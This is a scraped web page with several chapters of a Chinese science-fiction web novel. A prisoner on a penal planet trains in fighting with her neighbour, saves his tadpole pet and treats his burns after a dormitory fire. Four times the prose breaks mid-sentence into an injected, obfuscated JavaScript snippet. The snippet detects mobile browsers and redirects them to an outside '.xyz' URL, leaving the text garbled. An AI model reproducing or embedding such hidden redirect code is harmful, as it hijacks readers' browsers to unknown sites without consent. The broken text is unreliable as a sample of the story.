RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703518|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带有不快,于是没有轻易答话。 主审官将档案放回桌上:“又是一个唐古拉斯的囚徒。她会和我一样憎恨那个人吗?” 手下有些无措地眨了眨眼睛。“长官,这……” 他从上司脸上看到了一个残忍的表情。 “我恨唐古拉斯。”主审官说,“恨不得亲口把他咬死。” 他说话的时候露出了两颗有如血族般的犬齿。 手下没有对上司这句直白到幼稚的陈述做出反应。 主审官也不指望他有什么能够突显智慧和器量的反应。“‘这又不是我的身体’,你觉得是什么意思?” 手下略作思考,答道:“可能是大脑移植手术的后遗症……之类的。我听说唐氏集团一直在进行这一类型的违禁实验。” 主审官轻轻摇头,表示对这个答案的不满,但也无意在部下面前吐露内心的想法。 拒绝承认肉身与精神的关系——他曾经有过对自己的身体厌恶至极的时刻,那时候他也说过类似的话。 这不是我的身体。 他很早以前就忘记了自己最初的长相。但也难以承认后来在镜中见到的那个怪物般的存在竟是自己。 他不愿相信自己的意识竟寄居在如此丑恶不堪的容器中。 在OA7W被带来这里之前,他在期待什么呢? 期待一个和他一样丑陋而畸形的怪物吗? 他的期待显然是落空了。 那个和他有过相似经历的人,仍保留了一张让人艳羡的脸。 他刚才产生了一种可怕的冲动。 他想撕开她身上的囚服,想亲眼确认唐古拉斯在她身上留下的“恶”的痕迹,否则他的心态难以平衡。 不过,当他注意到OA7W脖颈附近的疤痕时,他的情绪终于又稳定了下来。 他想,她一定没比他好到哪里去。 她所保有的,也就仅有那一张脸罢了。 在其他方面,她或许比他更惨。 * 路麦在被主审官的手下送回住处的路上想了很多事情,其中就包括那段录音的来源。 在解决掉一〇八之后,她大致检索过卫生间内部,没有发现疑似监听监视设备的物品,更何况哪怕是流放地,在这种地方装载摄像头也未免过于惘顾人道。 从那段录音的效果来看,像是佩戴在她身上的某样东西所录下的声音。 而能够做到这种事情的设备,她身上确实有一个! 管理局配发的腕带式终端。 她之前其实对这东西存过顾忌,但还是选择了侥幸,这里有一整颗星球的人口,而管理员的数量则十分有限,就算这东西真的带有监视或监听的功能,他们也没有有精力关注每一名服刑者的日常生活。 可事实已经摆在眼前,她和一〇八的对话,还有她在卫生间的自言自语,都被一清二楚地记录了下来。 她不得不努力回想自打戴上这玩意之后,自己有没有过让人起疑的发言。 很显然,她和古德奈有过很多不能让人听到的对话,其中就包括路西法曾经伤过人的信息。 34. 碰撞 然而N21的管理员方面却没有对路西法执行逮捕和消杀,这里面的原因当然涵盖了几种可能性。 也许是这里有关宠物的执法并没有想象中的严格——从陆拾帮她进行饲主登记的情况就可以看出一点端倪。大概只要没有酿成重大事故,宠物管理员情愿对一些违法行为睁一只眼闭一只眼。 又或许是这里的监听没有想象中的恐怖。结合实际情景可以推测,没有人会负责全天候监听每一名服刑者的只言片语,只有在发生需要进行调查的事件时,才会调用相关场景和相关人员的相关录音。 这种做法合情合理,可能性也很高,但同时也意味着路麦今后没准还会被找麻烦。 管理员方面明显已经将她列入了一〇八失踪案件的嫌疑人之列,在无法找到一〇八下落,又无法获得更多线索的时候,他们肯定会对唯一的嫌疑人进行深度挖掘,这就很难保证他们不会调用和她有关的更多录音。 这样一来,无论是王牌飞行员的话题,还是路西法的话题,都有可能成为他们拿捏她的把柄。 关于前者,她暂时无法判断对自己的利害。她不知道这个世界存在多少势力,鉴定师小姐口中的“军方”又有多大的能耐,如果“军方”是个受人尊崇的组织,那她是军方王牌飞行员的身份一旦被披露,说不定能成为加速她出狱的催化剂;反之,她有可能被落井下石,过得比现在还要悲惨。 而关于路西法,她则只能求神告佛地希望管理员们高抬贵手,除此之外也没有更好的办法了。 * 接下来的几天风平浪静。没人再因为一〇八的失踪来找过路麦的麻烦。 倒是住在隔壁的正义之士就这个话题跟她进行过一番探讨,恐怕是因为那时候她也目睹了邻居被拖在地上带走的场面。 “他们怀疑那个管理员的失踪和你有关?” “从时间线来看,我确实很可疑。” 正义之士问:“你真的把人给打晕了?” 路麦说:“你不是也这么做过?在博览会上被你踢晕的家伙,你后来把他带到哪里去了?” 正义之士的脸上突然多了一丝阴霾,但只有一瞬,她很快又恢复了那副正义凛然的表情:“性质不一样,我踢晕的是正在施暴的服刑者,而你打晕的可是一个管理员。胆子可真够大的。” 路麦说:“我其实怀疑失踪的那个管理员和外部势力有勾结。要不就是N21的管理层整个都不干净。” 正义之士虎躯一震。 路麦问:“你怎么了?” 正义之士笑笑:“没什么。为什么这么说?” 路麦想了想,说:“不知道,就是这么感觉的。”要把这事说明白,就免不了自曝和唐古拉斯曾有过的瓜葛,她还是决定不要在人前透露太多。只是不知道如果N21的管理层监听到这句话后,会不会有什么作为。 正义之士问:“还有一个监考员呢?他对同僚失踪的事是怎么看的?他也怀疑你了?” 路麦说:“他们两个好像不怎么对付。” “嗯?” “一〇二——那个大个子的监考员,他让我少和一〇八接触,我觉得他可能觉察到一〇八有什么不对劲的地方。一〇二虽然又凶又粗鲁,但感觉不是坏人。” 古德奈那时候在隔壁也听到她被带走的动静,这几日也纠缠不休地问过好几次究竟发生了什么,路麦烦不过,也只好将可以告知的部分如实相告。 路麦又报了几次A1考试,始终未能得到令人满意的结果。在这一过程中,倒是和一〇二混了脸熟,从他口中得知了不少一〇八干过的恶心事——看得出来,他对一〇八的失踪是举双手双脚欢迎的,他早就受够和这么一个道貌岸然的家伙共事了。 一〇二的态度会让她对自己干过的事感到好受一些。不过她也始终因为稀烂的成绩而遭到一〇二的无情鄙视。 “我说你也差不多得了,装菜已经装够了吧?再这样浪费刑期和积分,我都快看不下去了。”在第N次考试失败的归途上,古德奈好心提醒道。 路麦只能傻笑,又不能明说。 明明大脑已经掌握了考试的要领,但实践操作时总是漏洞百出。难道说她不仅继承了那位王牌飞行员的身体,同时也继承了他不管怎样都未能获取资格证的肌肉记忆? 反正都已经失去了关于这具身体的全部记忆,没有必要还保留“肌肉记忆”这种听着就肉麻的东西。 她宁可相信无法通过考试是因为自己的软弱——她对那地方有点PTSD。 “你打架厉害吗?”路麦突然转移了话题。 “厉害!我古德奈的拳脚简直打遍天下无敌手。怎么,你想跟我比划一下?嗯……不过先说好,我一般不对,呃,女人动手。你可以算作例外。”少年已经对着空气摆了几个架势,“我不一定能在你面前使出全力,所以就算输了也不能说明我实力不济。” 路麦仰起脑袋,看了一会儿天,做足了心理准备,而后才点点头:“来,我们比划一下。” 两人当即找了附近的一块空地比划起来。 古德奈擅自喊了开始,又擅自冲上前来,一个直拳一个侧踢,动作比他的脑子灵活得多。 路麦大力出奇迹,右臂护住上路,左臂格住下路,姑且拦下了这两发攻击,接着左手一用力,差点将对手掀翻在地。 古德奈一个后空翻站稳,疾风骤雨似的再次发动进攻。 这下路麦就有点招架不住了,很快就抱着脑袋蹲在了地上。 背上被踹了一脚。差点让她没喘上气,动作没绷住,身体向前扑去,在地上摔成了狗啃泥。 古德奈停了下来:“喂,你怎么回事啊?这样根本就不是我的对手嘛!” “哈……哈……”路麦干笑着从地上爬起来,拍了拍衣服上沾到的泥,神情窘迫,“我现在没有技巧,只有力气。” “你啊……”古德奈的表情从困惑转变为同情,“你一定在实验室里受了很多苦!” 他不仅知道“王牌飞行员”的事,甚至知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709239|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她”曾在唐古拉斯的实验室里呆过。 路麦对他的“无意说漏”不动声色地点了点头,“我想尽快恢复战斗能力。如果能拥有一位像你这样经验丰富的导师……” 没等她说完,古德奈就兴高采烈地应道:“你想让我教你打架啊?好呀好呀!” 路麦知道自己不过空有一身力气,虽然在很多情况下能够勉强自卫,但肯定不及真正的技巧性格斗来得稳妥,否则一旦遇到真正的强者,她很难有还手之力。 对上一〇八,她之所以能赢,主要靠的还是出其不意,靠一〇八压根没想到她敢反抗、有力气反抗。 她至今还没有完全忘掉之前被半机械人压制在草丛里的那种恐惧。 那是一个不怕疼痛,力大无穷的对手,如果不是路西法用非常规的手段控制了他的行动,她说不定早就被那家伙撕碎了。 但她不能每次遇上危险都指望路西法——无论是作为一只伤人宠物而被扑杀,又或是将伤害她的人活活变成一滩胶液,对她来说都是后患无穷的解法。还是得掌握一些正确的防身技能。 古德奈是灵感型选手,做人如此,打架也是如此,他打起来其实没什么套路,最后还要路麦自己总结经验、整理对策。 她深深怀疑,不久前还被她唾弃过的肌肉记忆或许真的存在,否则很难解释她飞升一样的进步速度。 一个钟头前,古德奈还笑她手无缚鸡之力,一个钟头后,她就可以和他打得难舍难分了。就是姿势不那么好看。 肉搏这事,虽然说力大砖飞、体型克一切,但入门看力气,进阶看速度。出手的速度、躲避的速度、反应的速度,速度快,就能让对手抓不到你,同时给对手造成更多伤害,反应快,则能看穿对手的进攻套路,借力招架,以其人之道还治其人之身。 而说到速度,在进行VR训练的时候,路麦就已经见识过“自己”的速度有多快了。 “不愧是你!”古德奈打得上头。 “承让!”路麦也打得身心畅快。 一个横扫直击下路,被对手提前预判,原地起跳,然后泰山压顶。路麦向后下腰,双手撑地,向上飞踢,脚尖精准地踹到他的肩窝上。 古德奈的架势一下子就散了,像只被射中的大雁似的咚地就从半空掉了下来。 路麦也没想到自己这一脚这么猛,愣了一下,来不及收势,在下面给人当了肉垫,实在是自讨苦吃。 胃被狠狠地撞了一下,差点让她当场吐出一口酸水。 身体在受到重压后反射性地上折,然后老掉牙的一幕就这么上演了,她的嘴唇,撞上了少年的嘴唇。 路麦嗅到了一股血腥味。她的鼻子被撞出了鼻血,嘴唇被撞破了皮。 虽然是嘴对嘴没错,但绝对算不上一个正经的吻。 势能转动能和动能转势能的两个人像行星撞击一样撞到一起。没错,这不是吻,这是两颗行星的相撞。 神奇的是,近来那些不安和恐惧好像都随着星体的碎裂而消散了。 35. 受害者 路麦的心情一下子变得愉快起来,好像阴了一旬之后突然放晴的天。她忍不住在少年的下唇上咬了一口,这才将他推开,然后抹了抹已经淌了一脸的鼻血。 本来想豪迈地拍拍对方的肩膀,说什么咱是好哥俩,红尘作伴潇潇洒洒,结果却看见古德奈一脸震惊地望着她,面颊通红,傻帽透顶。接着,一条红线也从他的鼻子挂了下来。 路麦最后还是对着他的肩膀拍了下去,忍不住哈哈大笑起来。 这小子还会害羞呢。 她问:“对了,现在是伊芙宁几号了?” 古德奈回过神来,擦着鼻血说:“四号。” 路麦讶异:“还是四号?” 古德奈笑了一下:“我挺喜欢四号的,希望它能活久一点。它长出了四条腿,个头也大了不少,看起来已经像一只小青蛙了,你还没看到过吧?” 路麦说:“什么时候把它带出来看看吧,我记得有好几天没刷过好感度了。” 自从开启互刷计划之后,两人的减刑系数增长飞快。现在路麦的系数已经达到了3.0,即使只做那些最基础的劳动,每天也能拿到至少三百年的减刑。 古德奈点点头:“我给伊芙宁准备了两栖动物用的大缸,希望它变成青蛙之后能过得宽适一点。” 尽管不知缘由。但看来这小子真的很喜欢伊芙宁四号。这恐怕也是某种缘分。 “其他蝌蚪呢?” “打算提前冲下水道。我觉得只要有四号就够了。” 看来他日渐增长的怜悯之心的作用对象也仅限于四号嘉宾。 下水道一词唤起了一些不好的记忆。 路麦说:“不如抽个时间,我们再去一趟水塘,把剩下的那些蝌蚪给放生了吧?” 古德奈犹豫了一会儿:“……好吧,听起来不错。” 他又说:“我会带上四号一起去,让它和兄弟姐妹们好好道个别。就明天吧。” 路麦忽然觉得在这种地方有一个又有点小傻又有点小疯的邻居也算是件好事。 白天有小疯子古德奈,晚上有阳光美男,昼夜轮班,左拥右抱,这什么神仙日子…… 话说回来,阳光美男呢? 马赛克沙滩上,阳光美男没有出现。之前也有过这种情况,路麦只是觉得有点失落,倒并不怎么担心。 她在沙滩上躺了一会儿,将阳光臆想为拥抱,不知不觉中进入了更深层的梦境。 和在沙滩上不同,那时候她没有意识到自己是在做梦。 她没有实体,漂浮在一个纯黑的空间。又或者她其实具有实体,只是这个纯黑的空间让她看不见自己。 有一个声音从四面八方的远处传来,像是哄幼童睡觉的母亲。 “乖乖……别怕……别怕……” “去到那里之后……要幸福……” 她问:“如果太幸福,就会忘了这里。” 那声音说:“别怕……别怕……” 她被这么哄着,思绪逐渐涣散,进入了更深一层的梦境。 她梦见了自己在地球上的生活。 哭嚷着不想上学,拿着考砸了的试卷不敢回家,疯狂打游戏的假期,通勤时拉着地铁的吊环打盹,熬夜看剧,吃火锅,恋爱,分手,然后,在体检时被告知脑子里长了一个病灶,需要进行手术切除,判断性质…… 人生第一次的全麻手术。 再然后……就没有然后了。 * 次日下班之后,路麦争分夺秒地返回宿舍,古德奈已经带着一堆瓶瓶罐罐在门口等她了。 路麦赶紧凑了上去:“别这么明目张胆的,被人举报了怎么办?”说着,一边接了几个瓶子过来,藏在自己的裤兜里。 古德奈爽朗笑笑:“没事的。谁闲着来举报这种事?” 又一次长途跋涉来到RB3的水塘,那里的水草比上次来的时候更加茂盛了一点,可以借着夕阳的光线看清在水面上飞窜萦绕的虫子,它们想必会成为准青蛙们的营养口粮。 古德奈将装着四号的玻璃瓶放在地上,一个个地打开其他玻璃瓶,将里面装着的亚成体放回到它们的故乡。 墨绿色的四腿蝌蚪们一入了水就立刻失去了踪影,仿佛溶化一般。 而唯一留下的伊芙宁四号破天荒地获得了一名人类的喜爱——以失去自由为代价。 话说回来,古德奈可没有那种多愁善感的想法,完事之后,将空了的玻璃瓶往草丛里一扔,小心地捧起装着四号的饲育瓶,对同伴说道:“回去吧。没准还来得及给你打几把。” 路麦一阵激动,幻视了学生时代被小伙伴们喊着上游戏里的竞技场打几把的情景。 两个人像特种兵一样大步流星地往回赶。 从附近的宿舍区路过时,一个人影从建筑拐角处蹿了出来,和靠着墙边走的古德奈撞了个满怀。对方是个瘦弱的家伙,在猛烈的撞击下摔倒在地。 和那家伙同时被摔在地上的还有一只玻璃瓶。装着伊芙宁四号的那只。 脆弱的玻璃在硬质的水泥地面上摔得粉碎,里面的液体也因此流淌了一地。 目睹了这一幕的三人同时愣住。 肆意横流的水凼中有一个墨色的小球挣扎着。 古德奈目瞪口呆地跪到地上,伸手试着去抓起那粒被碎玻璃片包围起来的小球,但是失败了。 那东西又腻又滑,总是不经意就会从指尖溜走。而他又不敢用力,怕不小心把那小球捏碎。 他重复尝试了几次,动作一次比一次烦躁,路麦在一旁忧心忡忡,生怕他脾气上来以后忍不住一拳头下去把伊芙宁砸成肉饼。而那颗小球呢,它的样子看起来确实越来越虚弱,再不让它回到水里,恐怕未来不容乐观。 “看你干了什么好事!”古德奈大吼一声,终于爆发了,不过不是对着伊芙宁。是被撞倒的倒霉蛋倒霉了。 古德奈像只猎豹似的扑到被撞倒那人身上,抓住他的领子,举起拳头就往他脑袋上揍,一副要给小伊芙宁报仇雪恨的样子。 对方没有太多反击之力,只能用双臂护住要害,以降低伤害。他被压住了胸腔,甚至没法发出一声惨叫,只能呜呜地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725255|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷哼。 路麦在一旁蹲了下来,将手指伸到伊芙宁四号跟前。 那墨点般的小球忽地停止了挣扎,像是发现了新大陆似的,愣怔地望着从天而降的巨物。 然后,它拖着那条半长不长的尾巴,蹬着那对隐约看得出肌肉线条的后腿,跳到了这条肉色的甲板上。 路麦紧接着将它从指尖转移到掌心,并用另一只手从地上沾了些水,淋在它的身上。 话说这东西真的是蝌蚪,或者说正在向青蛙变态的蝌蚪吗?还是说这个世界的蝌蚪和她的认知有些不同? 好吧,它是墨色的,透着点绿,新长出来的四肢看起来十分发达,还有一条扁扁的尾巴,这确实是一只正在经历变态的蝌蚪应该有的特征。 但它前肢上那小小的弯钩是怎么回事?总觉得那比起一只青蛙的手,倒更像螳螂的身体部位。还有它那小小的,和两栖动物看起来没有半点关系的口器…… 可疑,实在是很可疑。 不过这小家伙十分懂事,乖巧地趴着,并用那对黑溜溜的眼睛张望着路麦。而路麦甚至从里面读出了讨好和喜欢的味道。 虽然长相让人难以恭维,但路麦终究没能拒绝一只如此可怜巴巴又满怀期待望着自己的小生物。更何况它还是自己邻居的宠物。 古德奈在挥动拳头的时候,感觉到终端传来战栗般的震颤。他暂停了因为情绪失控而开始的施暴行为,恍然看向手腕。 “宠物[青蛙][伊芙宁]极度愉悦,饲主[OA7V]减刑系数上升。” 他慢慢转过头,做梦似的望了同伴一眼。 他那颗激奋而好斗的大脑在这个过程中渐渐冷却下来,暴戾的眼神逐渐变得清澈。 “既然它已经长出了前肢,我想它的肺也应该开始发育了……”路麦说,“虽然还没有完全变成青蛙,但它已经可以呼吸空气了——这毕竟是一种两栖动物。” 少年顿时放弃了对受害者的迫害,欣喜若狂地用膝盖挪到路麦跟前,仰着脑袋去看她掌心的小东西。 伊芙宁四号有一对和其身体浑然一色的眼睛,但已经可以依稀看出两栖动物瞳孔的特殊纹样。它正用那双墨画般的眼睛炯炯有神地凝望着饲主。 古德奈嗷的一声,眼眶里落下两串眼泪,化作两条长方体滑稽地挂在脸上,“我以为你要死了!”他伸出手,想将四号接过去。 四号起初有些不情愿,于是路麦用手指将古德奈的手掌弄湿,四号才像瘸腿似的,拖着自己尚未褪去的尾巴,腾挪到饲主的手上。 路麦扫了一眼重创在地的受害者。 古德奈是个打架好手,揍人的时候下手肯定不轻,好在没有置人于死地。 那人躺在地上呻吟了一会儿,才默默爬起来准备开溜。 路麦觉得那人有些眼熟,似乎是在OA7片区附近出没过的面孔,上下班时偶尔会见到。 那是一个半机械人,而且是半机械人中的少数派,他和优先出卖双手双腿的大多数人不同,最先卖掉了自己的右半头颅。这种特征很显眼,所以路麦才能认出来。 36. 火灾 无法百分百确定。 路麦对辨识人脸的能力没有太多自信,也许只是这附近刚好也住着卖掉右脑的服刑犯。 毕竟除了像古德奈这样的怪人,她不觉得还有谁会花这么大力气从OA7走到RB3。这里的居民很少有长途散步的闲心。 “它现在还不那么习惯用肺呼吸,我们得去池塘边捡一个瓶子回来。”路麦提议道。 古德奈用力点头。他已经完全把被自己揍得鼻青脸肿的那家伙抛之脑后,自然不知道那人早就逃之夭夭。 回到住处的时候,已经临近门禁时间,也就没有多余的时间让他们来上一把,路麦和邻居在门口道别,各自回屋。 她将路西法放进饲育箱,自己去浴室洗漱。 由于卫生间的面积极其狭小,她过去通常会在卧室完成衣物的穿脱,但自从墙壁里被安上了摄像头,她就只能改换地点。这很不方便,但她实在难以说服自己在有可能遭到监视的环境中袒露身体。 洗漱完毕,路西法已经将她刚刚放入的晚餐吃干抹净。 路麦不知道这种进食速度对于一只跳蛛来说是否过快,她没有细究,又趁着熄灯之前,读了一章心理学相关的教材以辅助睡眠。 希望今天晚上能见到阳光美男。 然而这个夜晚甚至没给人机会做梦。 路麦在潜睡中被电醒,接着发现有不稳定的橙红色光芒从毛玻璃外透过。空气中弥漫着一股烟味,还有各种物质被烧焦的味道。 广播发出提示:“OA7片区发生大规模火灾,目前该片区所有房间已经解锁,请各位服刑者即使离开房间,前往安全地带避难。” 路麦跳下床,一脚踩进鞋筒。 虽然系统解开了房间的门锁,但并没有开放用电的权限,她借着外面的火光,摸到床头柜上的饲育箱。很快,手指就感受到一阵麻痒。 路麦带着路西法走出独房,立刻被吓了一大跳,起火的地方离她的住处很近,风一吹,屋顶上的火舌几乎就能舔到她的脸。 服刑犯宿舍的外壁和房门用的都是不易燃的材料,理论上不会发生这种规模的火灾。实际上,使得火势蔓延如此之快的罪魁祸首是饲养在房顶上的电子宠物们。 人工制造的毛发纤维并不防火,甚至起到了助燃的效果,内部的电子元件更是在受热后或短路或爆炸,进一步加剧了火灾的烈度。有些房间的封闭毛玻璃窗被炸裂了,火舌立刻舔上窗帘,继而点燃房间内的床单被罩…… 人群的喧嚷和火焰哔啵的声音让她听不清广播指示的避难方位,不过她看到正义之士正在不远处对她挥手,似乎是在指示方向。 OA7V至今依然房门紧闭,一颗被炸断的电子兔头从远处弹到了OA7V的门上,并在与门板撞击后二次爆炸,变成一团火星。那扇门终于动了,满脸烟灰的古德奈从黢黑的门后出现,好巧不巧地撞上那团火星。 那机敏的能量团没有放过这个机会,一口咬住他的衣袖,并瞬间燃成一团。 古德奈的脸上顿时露出痛苦的表情,但他居然收紧了胳膊,将什么东西往怀里捂了捂,看到路麦站在不远处,立刻带着那一身火苗跑上前来,把怀里的东西往她手里一塞:“帮我拿一下!” 是装着伊芙宁四号的两栖缸。 古德奈靠着在地上打滚灭掉了身上的火。 最开始被点燃的那条袖子只剩下大臂上方的一截,与袖子相邻的上衣侧边也被烧去了大半,露出一大片发红的、发黑的皮肤。 “走吧。”古德奈见火灭了,一骨碌从地上爬起,回到路麦身边说道,一边作势要接过水缸。 路麦躲了一下:“你的手臂都烧伤了,还是我帮你拿吧。” 古德奈嗯了一声。 路麦又说:“你身上的烧伤面积不小,放着不管会发炎的。” 古德奈又嗯了一声,没别的反应。 路麦说:“我们去医务室看看。” 古德奈这才说:“医务室现在不开门。就算开着也用不了,我们的级别不够。” 路麦抓着他没受伤的那只手:“先去看看,万一呢。” 由于不久前刚刚去过,路麦还记得路该怎么走,很快就避开人群最拥挤的路段,和古德奈找到了那栋略显破旧的建筑。 房间漆黑一片,大门门锁紧闭。 古德奈有些脱力地靠在墙上,“好痛……” “知道痛怎么不第一时间灭火?”路麦一边说,一边用力转动把手,试图开门。 “我总不能把水缸直接往地上一扔……”古德奈说,“就算伊芙宁能用肺呼吸,可它还这么小,躲不过火灾的。” 一直紧紧咬合的门锁突然松了。路麦没做好准备,一下跌进了门内。 有什么东西从门把手上飞落到路麦的头顶。 是路西法用某种方法开了门。 希望是物理方式,而不是化学方式,因为后者会留下痕迹。 路麦拉着同伴:“进来,帮你处理一下伤口。” 古德奈有些怀疑:“你会吗?” 路麦说:“我下载了《紧急救护手册》,可以现查。” 她没有开灯,借着外面的火光在医务室的药柜上摸索。 目前还没人跑到这一带来避难,一旦开了灯,相当于告诉别人这里有一间安全屋,等避难人群一窝蜂地涌向这里,就别想疗伤的事了。 就在按图索骥地寻找消毒消炎的药剂时,路麦兀然感到脸颊一阵痒,而后又是一阵火辣辣的痛。她意识到路西法正停在她的脸颊上,就在她感到异常的那个部位。 她的动作顿时僵了一下。 虽然她侥幸相信路西法不会害它,但也没有忘记它拥有的能力。 它不会是临时起意,打算让她变得和一〇八一个下场吧? 但过了一会儿,身体的其他部位始终没有出现异常,呼吸平稳,神志清醒,怎么看都没有中毒的迹象。 蜘蛛跳离了她的面颊,跳到了药柜的玻璃门上,它所攀附的玻璃后面,正好是路麦苦寻不得的消炎药。 路麦这才联想到脸颊上的异样感觉可能不是中毒,而是烫伤。 她也被烫伤了,就是被随风拂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732458|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的那条火舌给烫伤的,只是当时情况紧急,她一直没有注意到。 “你是在提醒我?”路麦问。 “什么?” 预想之外的回话让路麦吃了一惊,不过她很快就认清了那是古德奈的声音。 “没什么,我在和路西法说话。”她解释道。 古德奈没有嘲笑她的奇特行为,反而若有所思地看了看怀中的两栖缸。 路麦按照《手册》挑选好药物和消耗品,在古德奈身边蹲了下来,最后又确认了一遍操作步骤,按部就班地开始上药。 因为《手册》上说对于中、重度烧伤患者需要进行适度补液,她甚至还找来了葡萄糖溶液和生理盐水,以及一套挂水的用品,只是在寻找静脉的时候犹豫了半天。 古德奈任她不停拍打臂弯附近的皮肤,最后若无其事地从她手里夺过注射针,快速而精确地往某个地方一扎,并对张大了嘴巴的路麦露出玩世不恭的笑容。 “这叫熟能生巧,懂吗?” 路麦目瞪口呆:“哪有好人成天往自己身上扎针的?” 古德奈说:“我又不是好人。” 路麦说:“我那是玩笑话。你……也不算坏人。” 古德奈依旧笑着,还有几分故作神秘,让那个笑容看起来像一个狡黠的坏笑:“知道吗?” 路麦警惕:“知道什么?” 古德奈说:“你会因为今晚的事受到处罚。擅自进入医务室、擅自使用医务室的器材是重大违规行为。” 路麦说:“可是不这么做的话,你说不定会死的。你恐怕不知道烧伤的严重性。” 人体免疫系统第一道屏障的大面积损坏,有可能诱发炎症、感染,甚至导致免疫系统全盘崩坏…… 接着她又想到,古德奈刚才完整地供述了她的罪行。 如果管理局想要调查,只要有耐心调取这一时间段外出避难的服刑者的录音,很容易就能抓到擅闯医务室的犯人。 “死的又不是你。”古德奈显然不知道这其中的奥秘,没心没肺地笑道。 路麦叹了口气,只能劝说自己不知者无罪。 况且他们可以通过尽量消除使用痕迹的方式从源头上解决问题——只要管理局没发现有人擅闯医务室,自然也就不会对此展开调查。 古德奈破天荒地叹了口气,靠在墙上,说:“这世上没人在乎我,就像我不在乎那些蝌蚪一样。” 路麦说:“你不是为了保护伊芙宁而受伤了吗?这还不算在乎?我冒着重大违规的风险帮你处理伤口,这也不算在乎吗?” 古德奈突然就没声了。 路西法倒是在饲主身上不停爬来爬去。如果它能说话的话,没准会在这时候多嘴几句。 挂水的过程有些无聊。 古德奈一直抱着他的两栖缸,并时不时朝里面看两眼。 “我不懂那些热衷于养电子宠物的人。他们肯定不知道观察一只小动物慢慢长大是多么有趣的事。” 路麦说:“要在这里捕获一只适合饲养的活物可不容易。”她正在给自己的脸上药。 37. 疗伤 借着玻璃的反光,大致能确认受伤的位置。 刚才还只是有一点红肿,现在则可以看到皮肤上出现了凹凸不平的块状物,摸上去有明显痛感,应该是被烫出的水泡。 古德奈说:“青蛙一次会产很多卵。够很多人分的。” “……大多数人更喜欢哺乳类或是鸟类宠物。两栖类往往不在考虑之列。”路麦将用完的棉签藏进了囚衣的口袋,然后将取出的几瓶药物放回原处。 古德奈说:“别以为自己能做到天衣无缝,至少他们肯定能清点出少了一袋葡萄糖溶液。” 路麦没有想象中那么紧张:“那可不一定。其实他们的管理没有那么严谨——我猜。” 古德奈不置可否。 路麦补充道:“我觉得N21不是一个仕途光明的部署,不会有正常人在这里寄托职业理想的,换句话说,他们对工作部一定会那么认真。” 这都是有迹可循的。 这也是人性。 除非他们受到了某种严厉的胁迫,否则他们没有太多理由发自内心地认真负责。 大约四十分钟后,输液结束,路麦将产生的废弃物全部收集起来,用输液袋包好,打算统一带走,然后找个地方将它们毁尸灭迹(但这也不简单)。 在离开医务室之前,她最后确认了一遍,一切看起来井然有序,至少一眼看过去不会有什么破绽。 很好。没问题的。 受到火灾影响的服刑者正聚集在OA7片区东部的一片废弃空地上,周围没有照明设备,只能借助远处的火光看到一个个攒动的黑影。 路麦和古德奈找了外围一个人口密度较低的位置站好。 路麦担心古德奈的伤口被往来的人流刮蹭到,而古德奈显然更担心怀里的两栖缸。 有人挤到他们身边:“你们去哪儿了?” 是正义之士。 路麦小声答道:“处理了一下伤口。” 她没注意到这位邻居是和他们从同一个方向过来的。 看不清彼此面容的服刑者们饶有兴致地就这次突发事件展开讨论,也有因为刚刚斥巨资购入的宠物骤然暴毙而气急败坏的声音。 “我刚来这儿,怎么,难道火灾很常见吗?” “喉咙好干……谁带了水?” “好像有人死了。” “墙壁不是防火材料吗?这火怎么烧起来的?” “靠,别碰我,痛死了!” “我听到了最开始的爆炸声,然后外面就出现红光了,肯定有人私藏了违规电器。” 在此起彼伏的议论声中,一阵异样的电流音突兀出现,现场顿然鸦雀无声。红与黑交织的背景中,沉默的人群如同一片影子构建成的山坳。 “经确认,OA7片区的火灾由电器制品短路引发。请各位服刑者依照指示前往河堤取水灭火,保卫我们生活的家园。幸福用劳动创造,自由用双手争取。请各位……” N21的广播似乎把“请各位”这个短句当成了休止符。每次都营造出一种仍有后文的错觉,实际上已经言尽于此。 “见鬼,什么家园,我的家园在姑射。”有人嘟囔了一句。 “姑射星早就成了仿生人的老巢了。等等,你不是仿生人吧?”有人应了一句。 黑色山坳在此起彼伏的抱怨声中开始移动。 这里没有消防局和警局那种维护公共安全的部门,因为流放地的服刑者不配享用那种公共服务。 没有人会帮他们处理火灾。 